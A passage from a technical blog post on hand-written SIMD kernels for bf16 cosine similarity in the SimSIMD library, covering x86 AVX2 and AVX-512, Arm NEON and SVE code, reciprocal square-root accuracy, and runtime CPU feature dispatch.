Intel.\nA great 2009 article Timing Square Root comparing the accuracy and speed of the native rsqrt instruction (present in SSE and newer x86 SIMD instruction sets) with John Carmack\u0026rsquo;s fast inverse square root mentions using a Newton-Raphson iteration as an alternative to improve numerical accuracy, and we\u0026rsquo;ll do something similar here to improve our algorithm:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 simsimd_distance_t _simsimd_cos_normalize_f64_haswell(simsimd_f64_t ab, simsimd_f64_t a2, simsimd_f64_t b2) { if (ab == 0) return 0; if (a2 == 0 || b2 == 0) return 1; __m128d squares = _mm_set_pd(a2, b2); __m128d rsqrts = _mm_cvtps_pd(_mm_rsqrt_ps(_mm_cvtpd_ps(squares))); // Newton-Raphson iteration: rsqrts = _mm_add_pd( _mm_mul_pd(_mm_set1_pd(1.5), rsqrts), _mm_mul_pd(_mm_mul_pd(_mm_mul_pd(squares, _mm_set1_pd(-0.5)), rsqrts), _mm_mul_pd(rsqrts, rsqrts))); simsimd_f64_t a2_reciprocal = _mm_cvtsd_f64(_mm_unpackhi_pd(rsqrts, rsqrts)); simsimd_f64_t b2_reciprocal = _mm_cvtsd_f64(rsqrts); return ab * a2_reciprocal * b2_reciprocal; } One must keep in mind, various CPUs\u0026rsquo; rsqrt instructions will have different performance and accuracy. After we finish our simsimd_cos_bf16_haswell function, we\u0026rsquo;ll see how this compares to AVX-512 further below.\nPartial Loads There\u0026rsquo;s still an assumption we have to fix, inside our loop:\n1 // TODO: Handle input lengths that aren\u0026#39;t a multiple of 8 Potentially the ugliest part of this and many other production SIMD codebases is the \u0026ldquo;partial load\u0026rdquo; logic.\nIt\u0026rsquo;s a natural consequence of slicing variable-length data into fixed-register-length chunks.\nBecause of this, almost every kernel has the \u0026ldquo;main loop\u0026rdquo; and a \u0026ldquo;tail loop\u0026rdquo; for the last few elements.\nPrior to AVX-512 on x86 and SVE on Arm, there was no way to load a partial register, so the code has to be a bit more complex.\nIn Part 2, we\u0026rsquo;ll talk about how Mojo solves this problem. But for now, we\u0026rsquo;ll handle it manually by adding this inside the loop:\n1 2 3 4 5 6 if (n \u0026lt; 8) { a_vec = _simsimd_bf16x8_to_f32x8_haswell(_simsimd_partial_load_bf16x8_haswell(a, n)); b_vec = _simsimd_bf16x8_to_f32x8_haswell(_simsimd_partial_load_bf16x8_haswell(b, n)); n = 0; } else { ... That\u0026rsquo;s it! Here\u0026rsquo;s the complete function below. And as a bonus, we changed the while loop to a goto because that\u0026rsquo;s just how I roll. Oftentimes, goto usage is discouraged in modern codebases, but in small functions they don\u0026rsquo;t convolute the control flow and can help reason about code in a more machine-accurate way. CPU\u0026rsquo;s don\u0026rsquo;t have for loops after all. Moreover, this way we avoid code duplication for the primary logic instead of repeating it twice in the main loop and the tail.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 void simsimd_cos_bf16_haswell(simsimd_bf16_t const * a, simsimd_bf16_t const * b, simsimd_size_t n, simsimd_distance_t * result) { __m256 a_vec, b_vec; __m256 ab_vec = _mm256_setzero_ps(), a2_vec = _mm256_setzero_ps(), b2_vec = _mm256_setzero_ps(); simsimd_cos_bf16_haswell_cycle: if (n \u0026lt; 8) { a_vec = _simsimd_bf16x8_to_f32x8_haswell(_simsimd_partial_load_bf16x8_haswell(a, n)); b_vec = _simsimd_bf16x8_to_f32x8_haswell(_simsimd_partial_load_bf16x8_haswell(b, n)); n = 0; } else { a_vec = _simsimd_bf16x8_to_f32x8_haswell(_mm_loadu_si128((__m128i const*)a)); b_vec = _simsimd_bf16x8_to_f32x8_haswell(_mm_loadu_si128((__m128i const*)b)); n -= 8, a += 8, b += 8; } ab_vec = _mm256_fmadd_ps(a_vec, b_vec, ab_vec); a2_vec = _mm256_fmadd_ps(a_vec, a_vec, a2_vec); b2_vec = _mm256_fmadd_ps(b_vec, b_vec, b2_vec); if (n) goto simsimd_cos_bf16_haswell_cycle; simsimd_f64_t ab = _simsimd_reduce_f32x8_haswell(ab_vec); simsimd_f64_t a2 = _simsimd_reduce_f32x8_haswell(a2_vec); simsimd_f64_t b2 = _simsimd_reduce_f32x8_haswell(b2_vec); *result = _simsimd_cos_normalize_f64_haswell(ab, a2, b2); } You can also see simsimd_cos_bf16_haswell live, in simsimd/spatial.h.\nNow we are done with one of the most \u0026ldquo;vanilla\u0026rdquo; kernels in SimSIMD. It targets broadly available CPUs starting with Intel Haswell, shipped from 2013 onwards. It is forward-compatible with 11 years of x86 hardware, performing mixed-precision operations in bf16-f32-f64, including numeric types not natively supported by hardware. This is a good warmup, but the most exciting parts of SimSIMD, and the reason it runs on hundreds of millions of devices, are still ahead!\nBaseline implementation for AMD Genoa Let\u0026rsquo;s kick it up a notch, and bring in AVX-512, which is a 512-bit SIMD instruction set for the 32 new ZMM register files on the CPU. AMD Genoa is the first AMD CPU to support it, and it\u0026rsquo;s also the earliest publicly available CPU with AVX512_BF16 \u0026ldquo;extension of extension\u0026rdquo; for the bfloat16 type, including the vdpbf16ps instruction for dot products.\nBefore we show the masking and the vdpbf16ps parts, here\u0026rsquo;s roughly what our simsimd_cos_bf16_genoa will look like:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 void simsimd_cos_bf16_genoa( simsimd_bf16_t const * a, simsimd_bf16_t const * b, simsimd_size_t n, simsimd_distance_t * result) { __m512 ab_vec = _mm512_setzero_ps(); __m512 a2_vec = _mm512_setzero_ps(); __m512 b2_vec = _mm512_setzero_ps(); __m512i a_i16_vec, b_i16_vec; simsimd_cos_bf16_genoa_cycle: if (n \u0026lt; 32) { // TODO: Partial (\u0026#34;masked\u0026#34;) load from a and b. n = 0; } else { a_i16_vec = _mm512_loadu_epi16(a); b_i16_vec = _mm512_loadu_epi16(b); a += 32, b += 32, n -= 32; } // TODO: Add to ab_vec/a2_vec/b2_vec with special dot-product instruction. if (n) goto simsimd_cos_bf16_genoa_cycle; simsimd_f64_t ab = _simsimd_reduce_f32x16_skylake(ab_vec); simsimd_f64_t a2 = _simsimd_reduce_f32x16_skylake(a2_vec); simsimd_f64_t b2 = _simsimd_reduce_f32x16_skylake(b2_vec); *result = _simsimd_cos_normalize_f64_skylake(ab, a2, b2); } Structurally, the kernel is similar, but the loop step size grew from 8 to 32, and even bigger changes are hiding behind those TODOs.\nYou may have noticed that a_i16_vec and b_i16_vec are represented with __m512i, as opposed to the bfloat16 vector type __m512bh. This is caused by incomplete support for loadu intrinsics, missing a bfloat16 overload in some compilers.\nNow, let\u0026rsquo;s resolve those TODOs, starting with the masked loads.\nMasking in x86 AVX-512 AVX-512 was the first SIMD instruction set to introduce masking, which is a way to partially execute instructions based on a mask. For example, if you have a register containing 8 words/scalars, you can use a mask to increment only 5 of them.\nEach core contains not only 32 ZMM registers, but also 8 KMASK registers, which can be used to control the execution of instructions. Think of them as 8 additional normal scalar registers, containing 8, 16, 32, or 64 bits. Moving between those and general-purpose registers isn\u0026rsquo;t free, but using them for masking is still better than branching.\nInterleaving, testing, and merging masks with each other is also natively supported with these special mask manipulation instructions:\n1 2 3 4 5 6 7 8 9 10 11 12 int _mm512_kortestc(__mmask16 k1, __mmask16 k2); // `kortestw` int _mm512_kortestz(__mmask16 k1, __mmask16 k2); // `kortestw` __mmask16 _mm512_kand(__mmask16 a, __mmask16 b); // `kandw` __mmask16 _mm512_kandn(__mmask16 a, __mmask16 b); // `kandnw` __mmask16 _mm512_kmov(__mmask16 a); // `kmovw` __mmask16 _mm512_knot(__mmask16 a); // `knotw` __mmask16 _mm512_kor(__mmask16 a, __mmask16 b); // `korw` __mmask16 _mm512_kunpackb(__mmask16 a, __mmask16 b); // `kunpckbw` __mmask16 _mm512_kxnor(__mmask16 a, __mmask16 b); // `kxnorw` __mmask16 _mm512_kxor(__mmask16 a, __mmask16 b); // `kxorw` __mmask32 _mm512_kunpackw(__mmask32 a, __mmask32 b); // `kunpckwd` __mmask64 _mm512_kunpackd(__mmask64 a, __mmask64 b); // `kunpckdq` When using SIMD, it can be easy to accidentally load past the end of the array, since we\u0026rsquo;re loading in chunks, and the array might not be a multiple of our vector size. To avoid that, we\u0026rsquo;ll do some masking to partially load from a and b in the last iteration. Our if-else looks like this now:\n1 2 3 4 5 6 7 8 9 10 if (n \u0026lt; 32) { __mmask32 mask = (__mmask32)_bzhi_u32(0xFFFFFFFF, n); a_i16_vec = _mm512_maskz_loadu_epi16(mask, a); b_i16_vec = _mm512_maskz_loadu_epi16(mask, b); n = 0; } else { a_i16_vec = _mm512_loadu_epi16(a); b_i16_vec = _mm512_loadu_epi16(b); a += 32, b += 32, n -= 32; } Dot Products with vdpbf16ps Let\u0026rsquo;s resolve this TODO now:\n1 // TODO: Add to ab_vec/a2_vec/b2_vec with special dot-product instruction. Previously, in our simsimd_cos_bf16_haswell kernel, we added 8 input bfloat16s to ab_vec etc. with this code:\n1 2 3 ab_vec = _mm256_fmadd_ps(a_vec, b_vec, ab_vec); a2_vec = _mm256_fmadd_ps(a_vec, a_vec, a2_vec); b2_vec = _mm256_fmadd_ps(b_vec, b_vec, b2_vec); ab_vec is 512 bits wide, and holds 16 float32s. You might think that we would now add 16 input bfloat16s to it, but it\u0026rsquo;s even better than that: the vdpbf16ps processes 32 input numbers into our 16-word ab_vec. It takes the dot product of the first two words of each input, and add their dot-products to the first word of the result (like ab_vec[0] += a[0] * b[0] + a[1] * b[1]), and then it does that for the rest of the words as well.\nWe\u0026rsquo;ll use the _mm512_dpbf16_ps function to do this instruction, and add this to our loop:\n1 2 3 ab_vec = _mm512_dpbf16_ps(ab_vec, (__m512bh)(a_i16_vec), (__m512bh)(b_i16_vec)); a2_vec = _mm512_dpbf16_ps(a2_vec, (__m512bh)(a_i16_vec), (__m512bh)(a_i16_vec)); b2_vec = _mm512_dpbf16_ps(b2_vec, (__m512bh)(b_i16_vec), (__m512bh)(b_i16_vec)); Here\u0026rsquo;s the full function:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 void simsimd_cos_bf16_genoa( simsimd_bf16_t const * a, simsimd_bf16_t const * b, simsimd_size_t n, simsimd_distance_t * result) { __m512 ab_vec = _mm512_setzero_ps(); __m512 a2_vec = _mm512_setzero_ps(); __m512 b2_vec = _mm512_setzero_ps(); __m512i a_i16_vec, b_i16_vec; simsimd_cos_bf16_genoa_cycle: if (n \u0026lt; 32) { __mmask32 mask = (__mmask32)_bzhi_u32(0xFFFFFFFF, n); a_i16_vec = _mm512_maskz_loadu_epi16(mask, a); b_i16_vec = _mm512_maskz_loadu_epi16(mask, b); n = 0; } else { a_i16_vec = _mm512_loadu_epi16(a); b_i16_vec = _mm512_loadu_epi16(b); a += 32, b += 32, n -= 32; } ab_vec = _mm512_dpbf16_ps(ab_vec, (__m512bh)(a_i16_vec), (__m512bh)(b_i16_vec)); a2_vec = _mm512_dpbf16_ps(a2_vec, (__m512bh)(a_i16_vec), (__m512bh)(a_i16_vec)); b2_vec = _mm512_dpbf16_ps(b2_vec, (__m512bh)(b_i16_vec), (__m512bh)(b_i16_vec)); if (n) goto simsimd_cos_bf16_genoa_cycle; simsimd_f64_t ab = _simsimd_reduce_f32x16_skylake(ab_vec); simsimd_f64_t a2 = _simsimd_reduce_f32x16_skylake(a2_vec); simsimd_f64_t b2 = _simsimd_reduce_f32x16_skylake(b2_vec); *result = _simsimd_cos_normalize_f64_skylake(ab, a2, b2); } Now let\u0026rsquo;s implement that _simsimd_cos_normalize_f64_skylake call at the end!\nReciprocal square root approximation for AVX-512 We need to conceptually calculate ab / (sqrt(a2) * sqrt(b2)).\nIn our _simsimd_cos_normalize_f64_haswell function from before, we used the rsqrtps instruction (via the _mm_rsqrt_ps intrinsic) to calculate our reciprocal square root. In AVX-512, those are superseded by the _mm512_rsqrt14_ps intrinsic and vrsqrt14ps instruction.\nAnd fortunately, the maximum error bound improved from 1.5*2^-12 to 2^-14.\nThere is also a double-precision instruction vrsqrt14pd (via the _mm512_rsqrt14_pd intrinsic).\nIt has the same precision, but we can avoid casting.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 simsimd_distance_t _simsimd_cos_normalize_f64_skylake(simsimd_f64_t ab, simsimd_f64_t a2, simsimd_f64_t b2) { if (ab == 0) return 0; if (a2 == 0 || b2 == 0) return 1; __m128d squares = _mm_set_pd(a2, b2); __m128d rsqrts = _mm_maskz_rsqrt14_pd(0xFF, squares); rsqrts = _mm_add_pd( // Newton-Raphson iteration: _mm_mul_pd(_mm_set1_pd(1.5), rsqrts), _mm_mul_pd(_mm_mul_pd(_mm_mul_pd(squares, _mm_set1_pd(-0.5)), rsqrts), _mm_mul_pd(rsqrts, rsqrts))); simsimd_f64_t a2_reciprocal = _mm_cvtsd_f64(_mm_unpackhi_pd(rsqrts, rsqrts)); simsimd_f64_t b2_reciprocal = _mm_cvtsd_f64(rsqrts); return ab * a2_reciprocal * b2_reciprocal; } A natural question may be: how important is this Newton-Raphson iteration?\nDatatype NumPy Error SimSIMD w/out Iteration SimSIMD bfloat16 1.89e-08 ± 1.59e-08 3.07e-07 ± 3.09e-07 3.53e-09 ± 2.70e-09 float16 1.67e-02 ± 1.44e-02 2.68e-05 ± 1.95e-05 2.02e-05 ± 1.39e-05 float32 2.21e-08 ± 1.65e-08 3.47e-07 ± 3.49e-07 3.77e-09 ± 2.84e-09 float64 0.00e+00 ± 0.00e+00 3.80e-07 ± 4.50e-07 1.35e-11 ± 1.85e-11 As you can see, it reduces our relative error by a lot. On 1536-dimensional inputs, the impact is as big as 2-3 orders of magnitude!\nKeep this impact in mind. In a little bit, we\u0026rsquo;ll see the error rate for Arm NEON\u0026rsquo;s rsqrt instruction, and just how necessary it is to stay on top of our floating point precision for specific CPUs.\nThis is also why abstraction can be difficult and/or counterproductive when dealing with SIMD. The entire shape of the algorithm (such as whether we do a Newton-Raphson iteration) can change depending on the CPU or the precision of its instructions.\nBaseline implementation for Arm NEON Most CPUs aren\u0026rsquo;t running x86, but Arm. Apple alone today accounts for 2.2 billion devices, and almost all of them run on Arm. Arm devices also have a SIMD instruction set, called NEON, which is similar to SSE, also with 128-bit registers.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 void simsimd_cos_bf16_neon( simsimd_bf16_t const * a, simsimd_bf16_t const * b, simsimd_size_t n, simsimd_distance_t * result) { float32x4_t ab_high_vec = vdupq_n_f32(0), ab_low_vec = vdupq_n_f32(0); float32x4_t a2_high_vec = vdupq_n_f32(0), a2_low_vec = vdupq_n_f32(0); float32x4_t b2_high_vec = vdupq_n_f32(0), b2_low_vec = vdupq_n_f32(0); bfloat16x8_t a_vec, b_vec; simsimd_cos_bf16_neon_cycle: if (n \u0026lt; 8) { a_vec = _simsimd_partial_load_bf16x8_neon(a, n); b_vec = _simsimd_partial_load_bf16x8_neon(b, n); n = 0; } else { a_vec = vld1q_bf16((bfloat16_t const*)a); b_vec = vld1q_bf16((bfloat16_t const*)b); n -= 8, a += 8, b += 8; } ab_high_vec = vbfmlaltq_f32(ab_high_vec, a_vec, b_vec); ab_low_vec = vbfmlalbq_f32(ab_low_vec, a_vec, b_vec); a2_high_vec = vbfmlaltq_f32(a2_high_vec, a_vec, a_vec); a2_low_vec = vbfmlalbq_f32(a2_low_vec, a_vec, a_vec); b2_high_vec = vbfmlaltq_f32(b2_high_vec, b_vec, b_vec); b2_low_vec = vbfmlalbq_f32(b2_low_vec, b_vec, b_vec); if (n) goto simsimd_cos_bf16_neon_cycle; simsimd_f32_t ab = vaddvq_f32(vaddq_f32(ab_high_vec, ab_low_vec)), a2 = vaddvq_f32(vaddq_f32(a2_high_vec, a2_low_vec)), b2 = vaddvq_f32(vaddq_f32(b2_high_vec, b2_low_vec)); *result = _simsimd_cos_normalize_f64_neon(ab, a2, b2); } You may be wondering, what happened to our ab_vec, and what are these ab_high_vec and ab_low_vec things?\nThese, my friends, are a perfect example of my next point.\nCISC vs RISC, it\u0026rsquo;s not what people say The Arm instruction set is often called RISC (Reduced Instruction Set Computer), and the x86 instruction set is often called CISC (Complex Instruction Set Computer).\nBut in practice, the Arm instruction set is potentially more complex, especially given that all of those instructions practically apply only to 64-bit and 128-bit registers, as opposed to the x86 instructions which also include 256-bit and 512-bit registers!\nHere is an example.\nBefore discovering the vbfdotq_f32 intrinsic (suggested by Mark Reed), SimSIMD used the vbfmmlaq_f32 and vbfmmlaq_f32 intrinsics to compute the dot product of two vectors.\nIt\u0026rsquo;s also a Fused Multiply-Add instruction, but designed to take only odd or even components of the vectors, so we aggregate them differently:\n1 2 3 4 5 6 ab_high_vec = vbfmlaltq_f32(ab_high_vec, a_vec, b_vec); ab_low_vec = vbfmlalbq_f32(ab_low_vec, a_vec, b_vec); a2_high_vec = vbfmlaltq_f32(a2_high_vec, a_vec, a_vec); a2_low_vec = vbfmlalbq_f32(a2_low_vec, a_vec, a_vec); b2_high_vec = vbfmlaltq_f32(b2_high_vec, b_vec, b_vec); b2_low_vec = vbfmlalbq_f32(b2_low_vec, b_vec, b_vec); In other words, ab_high_vec contains only the even components, and ab_low_vec contains only the odd components.\nThis instruction probably makes more sense for complex dot-products, where we might want to load only the real words or only the imaginary words from a vector of complex numbers.\nAs for the cosine distance, there is one more non-obvious approach previously tested in SimSIMD.\nNEON contains a BFMMLA instruction:\nBFloat16 floating-point matrix multiply-accumulates into 2x2 matrix. This instruction multiplies the 2x4 matrix of BF16 values held in the first 128-bit source vector by the 4x2 BF16 matrix in the second 128-bit source vector. The resulting 2x2 single-precision matrix product is then added destructively to the 2x2 single-precision matrix in the 128-bit destination vector. This is equivalent to performing a 4-way dot product per destination element. The instruction ignores the FPCR and does not update the FPSR exception status.\nDoesn\u0026rsquo;t look very RISCy to me! But at some point, it looked promising. Concatenating vectors $a$ and $b$ into a matrix $X$ and computing the dot product $XᵀX$ in a single instruction is a great idea. It will contain 4 dot products, and we can drop 1 of them, keeping 3 products: $ab$, $aa$, and $bb$, all needed for cosine similarity. That kernel may look similar to this:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 float32x4_t products_low_vec = vdupq_n_f32(0.0f); float32x4_t products_high_vec = vdupq_n_f32(0.0f); for (; i + 8 \u0026lt;= n; i += 8) { bfloat16x8_t a_vec = vld1q_bf16((bfloat16_t const*)a + i); bfloat16x8_t b_vec = vld1q_bf16((bfloat16_t const*)b + i); int16x8_t a_vec_s16 = vreinterpretq_s16_bf16(a_vec); int16x8_t b_vec_s16 = vreinterpretq_s16_bf16(b_vec); int16x8x2_t y_w_vecs_s16 = vzipq_s16(a_vec_s16, b_vec_s16); bfloat16x8_t y_vec = vreinterpretq_bf16_s16(y_w_vecs_s16.val[0]); bfloat16x8_t w_vec = vreinterpretq_bf16_s16(y_w_vecs_s16.val[1]); bfloat16x4_t a_low = vget_low_bf16(a_vec); bfloat16x4_t b_low = vget_low_bf16(b_vec); bfloat16x4_t a_high = vget_high_bf16(a_vec); bfloat16x4_t b_high = vget_high_bf16(b_vec); bfloat16x8_t x_vec = vcombine_bf16(a_low, b_low); bfloat16x8_t v_vec = vcombine_bf16(a_high, b_high); products_low_vec = vbfmmlaq_f32(products_low_vec, x_vec, y_vec); products_high_vec = vbfmmlaq_f32(products_high_vec, v_vec, w_vec); } float32x4_t products_vec = vaddq_f32(products_high_vec, products_low_vec); simsimd_f32_t a2 = products_vec[0], ab = products_vec[1], b2 = products_vec[3]; Unfortunately, this approach ended up being 25% slower than the naive approach.\nWhen dealing with x86 ISA, if you find a weird rare instruction that can be used in your program, it\u0026rsquo;s often a good idea to apply it.\nIn Arm it doesn\u0026rsquo;t help most of the time, so in my opinion, Arm is more CISCy than x86.\nThis is also why it\u0026rsquo;s important to have CPU-specific code, rather than relying on coarse abstractions that just use whatever instruction is present.\nReverse engineering Arm accuracy Similar to x86, the rsqrt instruction is available in NEON, but only for single-precision floats.\nUnlike x86, the documentation is limited:\nWe can\u0026rsquo;t know the latency of the instruction. We are not even informed of the maximum relative error. The first can be vaguely justified by the fact that Arm doesn\u0026rsquo;t produce its chips, it licenses the designs to other companies. Still, a repository of timings for different chips would be very helpful. Second is just a mystery. Until you reverse engineer it!\nI wrote this benchmark program, which estimates the accuracy of rsqrt approximations in Arm NEON, SSE, AVX2, and AVX-512.\nLuckily, it\u0026rsquo;s only 4 billion unique inputs to test, just a few seconds on a modern CPU.\nBaseline implementation for Arm SVE Arm SVE is unusual.\nIt\u0026rsquo;s not the first to support masking, like AVX-512.\nBut it is the first to define variable-width implementation-defined registers, which can be 128, 256, 512, 1024, or 2048 bits wide.\nThat means that on one CPU, a svbfloat16_t might be 128 bits wide (8 bfloat16s) and on another CPU it might be 1024 bits wide (fitting 64 bfloat16s), yet the compiled program is the same. One can only know their width at run-time by calling the svcnth function, which tells us how many 16-bit words fit in a SVE vector on this CPU.\nAt the end of this spectrum (2048 bits) the CPUs are practically converging with GPUs, but despite that, all real implementations are 128-bit wide.\nThis is what a kernel may look like:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 void simsimd_cos_bf16_sve( simsimd_bf16_t const* a_enum, simsimd_bf16_t const* b_enum, simsimd_size_t n, simsimd_distance_t* result) { simsimd_size_t i = 0; svfloat32_t ab_vec = svdupq_n_f32(0.f, 0.f, 0.f, 0.f); svfloat32_t a2_vec = svdupq_n_f32(0.f, 0.f, 0.f, 0.f); svfloat32_t b2_vec = svdupq_n_f32(0.f, 0.f, 0.f, 0.f); bfloat16_t const* a = (bfloat16_t const*)(a_enum); bfloat16_t const* b = (bfloat16_t const*)(b_enum); do { svbool_t progress_vec = svwhilelt_b16((unsigned int)i, (unsigned int)n); svbfloat16_t a_vec = svld1_bf16(progress_vec, a + i); svbfloat16_t b_vec = svld1_bf16(progress_vec, b + i); ab_vec = svbfdot_f32(ab_vec, a_vec, b_vec); a2_vec = svbfdot_f32(a2_vec, a_vec, a_vec); b2_vec = svbfdot_f32(b2_vec, b_vec, b_vec); i += svcnth(); } while (i \u0026lt; n); simsimd_f32_t ab = svaddv_f32(svptrue_b32(), ab_vec); simsimd_f32_t a2 = svaddv_f32(svptrue_b32(), a2_vec); simsimd_f32_t b2 = svaddv_f32(svptrue_b32(), b2_vec); *result = _simsimd_cos_normalize_f32_neon(ab, a2, b2); } This is another reason it\u0026rsquo;s important to have CPU-specific code, and to not rely too heavily on abstractions: some architectures are very unusual.\nMasking in Arm SVE Seeing \u0026ldquo;variable-width implementation-defined registers\u0026rdquo; you may ask yourself, how does the final iteration of the loop handle the remainder of the elements, if they don\u0026rsquo;t fill up an entire vector? In SVE, the recommended approach is to use \u0026ldquo;progress masks\u0026rdquo; (like that progress_vec) and build them using \u0026ldquo;while less than\u0026rdquo; intrinsics (like that svwhilelt_b16). It\u0026rsquo;s a more powerful alternative to _bzhi_u32 that we\u0026rsquo;ve used for AVX-512 tails.\nAdding up the performance gains Taking a look back at all of the hardware-specific optimizations, we can see an orders-of-magnitude improvement over our initial naive implementation and stock NumPy implementation. Utilizing and exploiting hardware features has delivered performance boosts:\nfrom 10 MB/s to 60.3 GB/s on Intel hardware, and 4 MB/s to 29.7 GB/s on Arm hardware. It underscores the absolute importance that specialized hardware acceleration libraries have on even the simplest of computational algorithms.\nPerformance improvements from architecture-specific SIMD optimizations for cosine similarity.\nPackaging and distributing libraries Throughout this post, I\u0026rsquo;ve mentioned a few times that CPU-specific code is important. But shipping CPU-specific code correctly can be tricky.\nThe easiest and fastest approach is just to compile for a specific hardware platform. With -march=native, for example, your compiler will compile the code assuming the target machine that will run this software supports all the same Assembly instructions as this one. We can implement several kernels for different platforms and select the best backend at compile time.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 void simsimd_cos_bf16( simsimd_bf16_t const* a, simsimd_bf16_t const* b, simsimd_size_t n, simsimd_distance_t* d) { #if SIMSIMD_TARGET_GENOA simsimd_cos_bf16_genoa(a, b, n, d); #elif SIMSIMD_TARGET_HASWELL simsimd_cos_bf16_haswell(a, b, n, d); #elif SIMSIMD_TARGET_SVE_BF16 simsimd_cos_bf16_sve(a, b, n, d); #elif SIMSIMD_TARGET_NEON_BF16 simsimd_cos_bf16_neon(a, b, n, d); #else simsimd_cos_bf16_serial(a, b, n, d); #endif } But if we don\u0026rsquo;t know the target machine ahead of time, we\u0026rsquo;ll want to ship multiple optimized kernels for every function in one binary, and differentiate at runtime. When the program starts, it checks the model or the capabilities of the current CPU, and selects the right implementation. It\u0026rsquo;s generally called \u0026ldquo;dynamic dispatch\u0026rdquo;. To implement it, on x86, we call the CPUID instruction to query several feature registers:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 simsimd_capability_t simsimd_capabilities_x86(void) { /// The states of 4 registers populated for a specific \u0026#34;cpuid\u0026#34; assembly call union four_registers_t { int array[4]; struct separate_t { unsigned eax, ebx, ecx, edx; } named; } info1, info7, info7sub1; #if defined(_MSC_VER) __cpuidex(info1.array, 1, 0); __cpuidex(info7.array, 7, 0); __cpuidex(info7sub1.array, 7, 1); #else __asm__ __volatile__(\u0026#34;cpuid\u0026#34; : \u0026#34;=a\u0026#34;(info1.named.eax), \u0026#34;=b\u0026#34;(info1.named.ebx), \u0026#34;=c\u0026#34;(info1.named.ecx), \u0026#34;=d\u0026#34;(info1.named.edx) : \u0026#34;a\u0026#34;(1), \u0026#34;c\u0026#34;(0)); __asm__ __volatile__(\u0026#34;cpuid\u0026#34; : \u0026#34;=a\u0026#34;(info7.named.eax), \u0026#34;=b\u0026#34;(info7.named.ebx), \u0026#34;=c\u0026#34;(info7.named.ecx), \u0026#34;=d\u0026#34;(info7.named.edx) : \u0026#34;a\u0026#34;(7), \u0026#34;c\u0026#34;(0)); __asm__ __volatile__(\u0026#34;cpuid\u0026#34; : \u0026#34;=a\u0026#34;(info7sub1.named.eax), \u0026#34;=b\u0026#34;(info7sub1.named.ebx), \u0026#34;=c\u0026#34;(info7sub1.named.ecx), \u0026#34;=d\u0026#34;(info7sub1.named.edx) : \u0026#34;a\u0026#34;(7), \u0026#34;c\u0026#34;(1)); #endif unsigned supports_avx2 = (info7.named.ebx \u0026amp; 0x00000020) != 0; // Function ID 7, EBX register unsigned supports_f16c = (info1.named.ecx \u0026amp; 0x20000000) != 0; // Function ID 1, ECX register unsigned supports_fma = (info1.named.ecx \u0026amp; 0x00001000) != 0; // Function ID 1, ECX register unsigned supports_avx512f = (info7.named.ebx \u0026amp; 0x00010000) != 0; // Function ID 7, EBX register unsigned supports_avx512fp16 = (info7.named.edx \u0026amp; 0x00800000) != 0; // Function ID 7, EDX register unsigned supports_avx512vnni = (info7.named.ecx \u0026amp; 0x00000800) != 0; // Function ID 7, ECX register unsigned supports_avx512ifma = (info7.named.ebx \u0026amp; 0x00200000) != 0; // Function ID 7, EBX register unsigned supports_avx512bitalg = (info7.named.ecx \u0026amp; 0x00001000) != 0; // Function ID 7, ECX register unsigned supports_avx512vbmi2 = (info7.named.ecx \u0026amp; 0x00000040) != 0; // Function ID 7, ECX register unsigned supports_avx512vpopcntdq = (info7.named.ecx \u0026amp; 0x00004000) != 0; // Function ID 7, ECX register unsigned supports_avx512bf16 = (info7sub1.named.eax \u0026amp; 0x00000020) != 0; // Function ID 7, Sub-leaf 1, EAX register } This code uses inline Assembly, when compiled with Clang and GCC. Microsoft Visual Studio Compiler doesn\u0026rsquo;t support inline assembly, but provides an intrinsic to compensate for that.\nOnce the feature flags are queried, they must be unpacked and used to select the right kernel implementation for every combination of input argument types and CPU capabilities. In my other library StringZilla (which has a much smaller collection of defined string operations), that\u0026rsquo;s done at a function-level individually. But in SimSIMD, which already has over 350 kernels and is rapidly growing, all the kernels are grouped into several categories for different generations of CPUs, like \u0026ldquo;Haswell\u0026rdquo; and \u0026ldquo;Ice Lake\u0026rdquo; for Intel or \u0026ldquo;Genoa\u0026rdquo; for AMD. It was a simpler and more future-proof design to dispatch to dozens of similar kernels given the fragmentation of the x86_64 ISA:\nIn other words, instead of having a separate implementation for every one of dozens of x86 core designs across Intel, AMD, and Centurion, SimSIMD selects several \u0026ldquo;capability levels\u0026rdquo; named after the first server-side CPU line-up that supports a specific family of instructions: Sapphire Rapids for AVX512-FP16, Genoa for AVX-512BF16, Ice Lake for VNNI/VBMI and other AVX-512 integer-processing instructions, Skylake-X for basic AVX-512 support, Haswell for AVX2, F16C, and FMA, etc.\nThe next step is to map supported CPU features into our \u0026ldquo;capability levels\u0026rdquo;:\n1 2 3 4 5 unsigned supports_haswell = supports_avx2 \u0026amp;\u0026amp; supports_f16c \u0026amp;\u0026amp; supports_fma; unsigned supports_skylake = supports_avx512f; unsigned supports_ice = supports_avx512vnni \u0026amp;\u0026amp; supports_avx512ifma \u0026amp;\u0026amp; supports_avx512bitalg \u0026amp;\u0026amp; supports_avx512vbmi2 \u0026amp;\u0026amp; supports_avx512vpopcntdq; unsigned supports_genoa = supports_avx512bf16; unsigned supports_sapphire = supports_avx512fp16; This approach won\u0026rsquo;t work on Arm. On Arm and Linux, again we can query CPU registers, but on Apple devices we must query the OS. The process is no less convoluted than with x86.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 simsimd_capability_t simsimd_capabilities_arm(void) { #if defined(SIMSIMD_DEFINED_LINUX) unsigned long id_aa64isar0_el1 = 0, id_aa64isar1_el1 = 0, id_aa64pfr0_el1 = 0, id_aa64zfr0_el1 = 0; __asm__ __volatile__(\u0026#34;mrs %0, ID_AA64ISAR0_EL1\u0026#34; : 